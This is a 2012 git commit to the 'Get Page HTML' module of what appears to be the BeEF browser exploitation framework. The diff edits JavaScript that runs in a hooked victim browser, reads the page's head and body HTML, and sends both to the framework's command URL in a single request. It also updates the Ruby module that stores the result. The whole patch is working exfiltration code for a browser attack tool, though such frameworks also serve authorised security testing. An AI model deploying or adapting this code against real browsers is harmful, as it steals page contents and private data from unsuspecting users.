From 753299e7586da39a7c8c9911508dfa27a963759f Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 4 Mar 2012 20:24:04 +1030 Subject: [PATCH] Updated Get Page HTML module: o Now returns head and body in one beef.send() request o Now stores results correctly --- modules/browser/get_page_html/command.js | 7 +++---- modules/browser/get_page_html/module.rb | 3 ++- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/browser/get_page_html/command.js b/modules/browser/get_page_html/command.js index 27077e895..51926584c 100644 --- a/modules/browser/get_page_html/command.js +++ b/modules/browser/get_page_html/command.js @@ -16,18 +16,17 @@ beef.execute(function() { try { - var html_head = escape(document.head.innerHTML.toString()); + var html_head = document.head.innerHTML.toString(); } catch (e) { var html_head = "Error: document has no head"; } try { - var html_body = escape(document.body.innerHTML.toString()); + var html_body = document.body.innerHTML.toString(); } catch (e) { var html_body = "Error: document has no body"; } - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+html_body); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body); }); diff --git a/modules/browser/get_page_html/module.rb b/modules/browser/get_page_html/module.rb index 653bcc8fd..6ef33ad89 100644 --- a/modules/browser/get_page_html/module.rb +++ b/modules/browser/get_page_html/module.rb @@ -17,7 +17,8 @@ class Get_page_html < BeEF::Core::Command def post_execute content = {} - content['html'] = @datastore['html'] + content['head'] = @datastore['head'] + content['body'] = @datastore['body'] save content end